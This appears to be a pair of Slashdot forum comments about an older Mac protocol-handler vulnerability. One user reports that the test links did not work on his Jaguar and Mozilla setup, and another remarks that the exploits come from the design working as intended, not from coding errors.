    For a browser, I generally use Mozilla 1.6, although I like to play with Firefox and Camino, too. I'll probably switch to Firefox permanantly when they get past the 1.0 hurdle. In my browsers, I have killed most of the plugin handlers except for the obvious ones, like mp3 and so on. Plus, I'm sadistic about popup windows and cookies.

    OK, enough introduction.

    I tried the vulnerability links on the site, and they didn't work on my system. The first link produced an error message claiming a "type 2" error, then a popup which said that the protocol in use was not a registered protocol. The second link didn't produce an error, but it did produce the registered protocol warning. Neither link resulted in a file being saved to my machine, or indeed any other visible effect.

    Note that the website did mention that users of Jaguar might not be vulnerable, and that there was anecdocal evidence for this. So, let me add my anecdote to the collection of anecdotes already present, and say that if you're running a similar setup to mine, you might be alright.

    -Phil
  • An important point is that this family of exploits is not the result of any programming errors. It is the result of everything working precisely as it was intended to, but there being unforeseen uses for the design as originally specified.

Slashdot Top Deals

Truly simple systems... require infinite testing. -- Norman Augustine

Close